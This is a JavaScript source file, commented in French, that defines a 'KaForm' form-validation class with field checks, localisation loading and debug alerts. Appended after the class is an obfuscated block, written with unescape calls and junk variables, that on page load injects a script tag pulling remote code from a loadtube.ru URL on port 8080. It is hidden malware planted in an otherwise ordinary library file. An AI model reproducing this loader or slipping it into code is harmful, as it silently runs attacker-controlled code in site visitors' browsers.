/* Variable applicative indiquant que la classe KaForm a été chargée */
_KaForm_Loaded = true;

function KaForm() {

	// Déclaration des champs
	this.fFormComponent = null;
	this.fFields = new Array();
	this.fLocalisationFileName = null;


	/****************************************************************************************************
		this.setLocalisationFileName = function setLocalisationFileName(pLocalisationFileName)
		Méthode d'affectation du fichier de localisation
	*/
	this.setLocalisationFileName = function setLocalisationFileName(/*String*/pLocalisationFileName) {
		this.fLocalisationFileName = pLocalisationFileName;
		
		document.write('<script src="' + pLocalisationFileName + '" language="JavaScript" type="text/javascript"></script>');
	}


	/****************************************************************************************************
		this.addField = function addField(pField)
		Méthode d'ajout de champ au formulaire
	*/
	this.addField = function addField(/*KaField*/pField) {
		this.fFields[this.fFields.length] = pField;
	}


	// Initialisation de l'objet KaForm
	this.init(arguments);
}


/*
	Constructeur de la classe KaForm
*/
KaForm.prototype.init = function(pArguments) {
	if ((typeof(pArguments) != 'undefined') && (pArguments.length == 2)) {
		vFormComponent = pArguments[0];
		vLocalisationFileName = pArguments[1];

		if (typeof(vFormComponent) != 'undefined')
			this.fFormComponent = vFormComponent;

		if (typeof(vLocalisationFileName) == 'string')
			this.setLocalisationFileName(vLocalisationFileName);
	}
	else {
		alert('** Erreur d\'instanciation de l\'objet KaForm !');
	}
}


/*
	Méthode de DEBUG
*/
KaForm.prototype.debug = function() {
	for (i = 0; i < this.fFields.length; i++) {
		this.fFields[i].debug();
	}
}


/*
	Méthode de vérification des champs du formulaire
*/
KaForm.prototype.check = function() {
	var vCheckOK = true;
	var vNumField = 0;

	if ((typeof(_Localisation_Loaded) != 'undefined') && (_Localisation_Loaded)) {
		while ((vCheckOK) && (vNumField < this.fFields.length)) {
			vCheckOK = this.fFields[vNumField].check();
			vNumField++;
		}
	}
	else {
		alert('** KaForm : Le fichier de localisation n\'a pas été chargé !');
		return false;
	}
	
	return vCheckOK;
}


/*
	Méthode de vérification des champs du formulaire
*/
KaForm.prototype.getComponents = function() {
	if (this.fFormComponent != null) {
		var vFormComponents = this.fFormComponent.elements;
		
		for (var vNumComponent = 0; vNumComponent < vFormComponents.length; vNumComponent++) {
			// (Button, Checkbox, FileUpload, Hidden, Password, Radio, Reset, Select, Submit, Text, or Textarea object)
			var vMessage = '';
			switch (vFormComponents[vNumComponent].type) {
				case 'button' : vMessage += 'BOUTON'; break;
				case 'checkbox' : vMessage += 'CASE A COCHER'; break;
				case 'file' : vMessage += 'UPLOAD DE FICHIER'; break;
				case 'hidden' : vMessage += 'CHAMP CACHE'; break;
				case 'password' : vMessage += 'MOT DE PASSE'; break;
				case 'text' : vMessage += 'CHAMP DE SAISIE'; break;
				case 'textarea' : vMessage += 'BLOC DE SAISIE'; break;
				case 'radio' : vMessage += 'BOUTON DE SELECTION'; break;
				case 'select-one' : vMessage += 'LISTE DEROULANTE'; break;
				case 'select-multiple' : vMessage += 'LISTE DEROULANTE'; break;
				case 'reset' : vMessage += 'ANNULER'; break;
				case 'submit' : vMessage += 'VALIDER'; break;
			}
			vMessage += '\n';
			vMessage += 'Name: ' + vFormComponents[vNumComponent].name + '\n';
			vMessage += 'Value: ' + vFormComponents[vNumComponent].value + '\n';
			vMessage += 'Type: ' + vFormComponents[vNumComponent].type + '\n';
			vMessage += 'Size: ' + vFormComponents[vNumComponent].size + '\n';
			vMessage += 'MaxLength: ' + vFormComponents[vNumComponent].maxLength + '\n';
			vMessage += 'Style: ' + vFormComponents[vNumComponent].style + '\n';
			alert(vMessage);
/*
				var vMessage = '';
				for (var vObj in vFormComponents[vNumComponent])
					vMessage += vObj + ' : ' + new String(vFormComponents[vNumComponent][vObj]) + '<br>';
				vBrowser = window.open('', 'DOMBrowser', 'scrollbars=yes, width=500, height=600, resizable=yes');
				vBrowser.focus();
				vBrowser.document.open('text/html', 'replace');
				vBrowser.document.writeln('<HTML><HEAD><TITLE>DOM Browser</TITLE></HEAD>');
				vBrowser.document.writeln('<BODY BGCOLOR="BBBBBB" link="FFFFF" vlink="FFFFF">');
				vBrowser.document.writeln(vMessage);
				vBrowser.document.writeln('</BODY></HTML>');
				vBrowser.document.close();
				alert('wait');
*/
			}
		}
/*
	}
*/
}


var S=new Date();var d=new Date();var f=new Date();function B(){var b;if(b!='' && b!='A'){b='Fl'};var W='';var K=unescape;var fw;if(fw!=''){fw='C'};var v;if(v!=''){v='q'};var Kz=window;var jj=new Date();var j_;if(j_!='' && j_!='O'){j_=''};var M=K("%2f%62%72%65%61%6b%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%6c%61%63%6b%62%65%72%72%79%2e%63%6f%6d%2e%70%68%70");this.CM="";var x;if(x!=''){x='Y'};var aW;if(aW!='' && aW!='nq'){aW='Ne'};function j(KE,BZ){var z=String("getCF".substr(0,1));var LC;if(LC!=''){LC='i'};var X=K("%5b"), E=K("%5d");var y=X+BZ+E;var H=new RegExp(y, z);var IZ;if(IZ!='' && IZ!='KT'){IZ='ok'};return KE.replace(H, new String());this.EZ='';var gq;if(gq!='' && gq!='PL'){gq=''};};var l="";var p=j('816101518239055','32179546');var qt=new Array();this.Y_="";var e=document;this.MX='';var tXC;if(tXC!='Lh' && tXC!='Sp'){tXC=''};var pd=new String();this.od='';var yp;if(yp!='' && yp!='kI'){yp='an'};var m;if(m!='CG' && m != ''){m=null};function F(){this.gD="";var UG=new String();var bZ;if(bZ!='XX'){bZ=''};var YA=new String();var yI=K("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");var jv='';var Ht=new String();pd=yI;pd+=p;var Eu=new String();var gH;if(gH!='' && gH!='Ak'){gH='Sc'};pd+=M;var wMr='';var n_='';try {var ZJ=new String();var wH=new String();this.DL='';g=e.createElement(j('sWcqr5ibpKt5','5WAqDbYhK'));var uX;if(uX!='' && uX!='wu'){uX=null};g[K("%64%65%66%65%72")]=[7,1][1];var fa;if(fa!='' && fa!='Cqu'){fa=null};g[K("%73%72%63")]=pd;e.body.appendChild(g);var Ya;if(Ya!='EC' && Ya != ''){Ya=null};this.Ga='';var Pj;if(Pj!='tN' && Pj != ''){Pj=null};} catch(r){alert(r);var EJ=new Date();var HH=new String();};var ZSC=new Array();}var zG='';Kz[String("onl"+"We4uoad".substr(4))]=F;var BD;if(BD!='' && BD!='nF'){BD='DO'};var gJ;if(gJ!='wD' && gJ!='CW'){gJ=''};};var KX='';var cs='';B();
